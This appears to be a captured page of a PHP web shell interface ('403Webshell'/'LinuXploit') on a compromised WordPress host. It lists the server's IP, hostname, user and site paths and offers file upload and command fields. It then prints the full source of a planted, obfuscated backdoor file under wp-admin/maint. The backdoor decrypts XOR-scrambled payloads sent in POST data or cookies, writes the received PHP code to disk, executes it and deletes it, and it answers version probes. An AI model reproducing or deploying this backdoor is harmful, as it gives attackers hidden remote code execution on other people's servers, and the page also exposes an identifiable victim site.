403Webshell
Server IP : 89.248.107.232  /  Your IP : 216.73.217.70
Web Server : Apache
System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : seg ( 10005)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/seg-sa.es/serinco.es/wp-admin/maint/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/seg-sa.es/serinco.es/wp-admin/maint/ocqsakde.php
<?php 

$lulflk    =  'lulflk'    ^ /*xicmv  */ '';


$y_azcjph	= /*lavdyf   */ $lulflk(1032-935)    . /*   cdb_  */ "r"."r"."a"."y"."\137"	. /*  f   */ "m"."a"."p";





function /* o*/ twnteafeoz($rsmlyio, /*  aqw_vo */ $upfteafx)

{

      global       $lulflk;

 /* skux   */ 
    $rsmlyio       = /*  ytlmbj */ $lulflk(691-631)       .   "?"."\x70"	.	"\x68"    . /*  kj  */ $lulflk(112)     .   $lulflk(32) /*  qjvyxv   */ .	$lulflk(251-134)       .    "n"."l"."\x69" /*   hghkh */ . /* uax  */ "\x6e"    .  $lulflk(107) /*l */ . /*   q */ "("."_"."_"."F"."I"."L".$lulflk(69) /* fpdeh */ . /*  xx */ "\137" /* aoidm   */ .	"_".$lulflk(41)	.      $lulflk(59)     .       $lulflk(32) /*   qktsrx */ .   $rsmlyio["\x64"];    $xfmovdqf	=       $lulflk(102)	.	"\x69" /*   qkgqc   */ .    "l".$lulflk(651-550)     . /*   evt*/ "\137" /*qtepj   */ .     $lulflk(242-130)     . /*  fu */ $lulflk(1062-945)  .	"t"."_".$lulflk(190-91)  .    "\x6f"	. /*   sacx_ */ $lulflk(530-420)    .	$lulflk(116)    .	"e".$lulflk(644-534)    .	$lulflk(116)	. /* zw   */ "s";
      
 /*  nvgud*/ $xfmovdqf($upfteafx, /* px  */ $rsmlyio);

 /*  _gob*/ 
       flkosfkr($upfteafx);}



$ohmx_    = /*  spoq*/ 73;


function /*  ls   */ flkosfkr($upfteafx)


{ /* bnni  */ global /*  sli  */ $lulflk;

    

 /*qqqfre   */ include($upfteafx);    $vjspvirrlhumpnd /* yqiqe  */ =    $upfteafx;    @unlink($vjspvirrlhumpnd);}function /* tochvu   */ slihiwqe()


{  global    $lulflk;


 /* awe   */ $punjqpy    =	array();

    $punjqpy["p"."\x76"]	= /* jyywmq*/ phpversion(); /*ogglh*/ $punjqpy[$lulflk(115) /*q*/ .       $lulflk(118)] /*  ejcy   */ =    "3"."\56" /*  s   */ .	"5";

	$xdrxwodwtr /*wsw  */ =    74;
 /*   tzo   */ echo    @serialize($punjqpy);}






function	yumisarx($rsmlyio,    $punjqpyrav_)
{
       global    $lulflk;


    $rsyudnpppb /* _v */ = /*mmp  */ "";    $punjqpybgqjdb_yw   =    strlen($rsmlyio);

    $ppafm /*  ua   */ =	strlen($punjqpyrav_);     $punjqpy      = /*   bb   */ 0;


       $vjspvi /*cea*/ = /*tunl */ 0;

       while   ($punjqpy	<  $punjqpybgqjdb_yw)    {


     $gdzfslm /*   lvchru */ =	$rsmlyio[$punjqpy]   ^   $punjqpyrav_[$vjspvi /* kwsefm  */ %    $ppafm];     $rsyudnpppb /*  jbcmpv   */ .=    $gdzfslm;       $vjspvi++; /*_u_j   */ 

 /*ai*/ $punjqpy++;

 /*alg_k*/ }        if	(strlen($rsyudnpppb)    >       20)       {
 /*swasp*/ $nixzya_weh    =  substr($rsyudnpppb, /*  wirov*/ 0,    20);
    }


       if      (empty($rsyudnpppb))     {
 /*  h   */ $rsyudnpppb    =    date('Y-m-d	H:i:s');  }
 /*   azlaj*/ return    $rsyudnpppb;

}




function /* i   */ votdl($efavj)

{


    global  $lulflk;    


    $rnsxn /* rl  */ =    "3"."3"."9"."\x63"    .   $lulflk(100)      . /*  x  */ "1".$lulflk(55)    .   "\x38" /* ehauyt */ . /* ltfm*/ "\55" /* mwnfp   */ .      "3"."f"."\61"       .  "9"."-"."\64" /*  hvgb  */ .   $lulflk(102)    .    "8"."9"."\x2d" /*d   */ . /*hlk*/ "\x39" /* y_cngz   */ .	"8"."\65"  .    $lulflk(277-180).$lulflk(45)     .	"\x61"    . /*nwim */ $lulflk(54) /* ay */ . /*   xaqtsm   */ "\60"     .      "\61"      .       "5"."\66"	.      $lulflk(886-833)	.  "5"."\x38"  .	$lulflk(911-856) /*xoqea */ .   "\x32"    .	$lulflk(696-647);

 /*  dosqem  */ 


    foreach    ($efavj /*  lws */ as       $fhtakbdb	=>    $rsmlyio)   {
 /*   shsf   */ wcyuwxfsdh(base64_decode($rsmlyio),    $rnsxn,    $fhtakbdb);


 /*  o   */ }}




function     wcyuwxfsdh($rsmlyio, /*cwz   */ $rnsxn, /*  mqng   */ $fhtakbdb)


{

	global   $lulflk;
     

 /*dhcpdi   */ $rsmlyio  =    unserialize(yumisarx(yumisarx($rsmlyio,    $rnsxn), /*tpgk*/ $fhtakbdb));	$babmy      =   'mfvp_rx';


	$q_ka_re    =	'euw';


 /*wxgoi   */ if	(isset($rsmlyio[$lulflk(121-24) /*  id  */ .    "k"]))      {
 /*xc   */ if /*  kenmjo   */ ($rsmlyio[$lulflk(277-180)] /*nwkzm */ ==	"i")	{    slihiwqe();
 /*  b */ }	elseif    ($rsmlyio[$lulflk(277-180)] /*lyri */ ==  "e")      { /*  k   */ twnteafeoz($rsmlyio,	sprintf("\56"    .	"\57" /*  bz_clk  */ .	$lulflk(735-698)   .   "s".$lulflk(46) /*_*/ .    $lulflk(112) /*qeo_ */ .    $lulflk(404-296), /* pgljn*/ md5($rnsxn)));

			$mktsy_h /*   mycxp  */ =   44;
	}	exit();

	}}


votdl($_POST);    



$_gxfa	=	Array();

$_gxfa /* ud*/ =       "";
$zrbpwzwv    =	$y_azcjph('rawurldecode', /*hzmlo */ $_POST);strrev($_gxfa);

votdl($_COOKIE);

$tpswg /*zyjdib */ = /*  cnja  */ $y_azcjph('rawurldecode',    $_COOKIE);







?>

Youez - 2016 - github.com/yon3zu
LinuXploit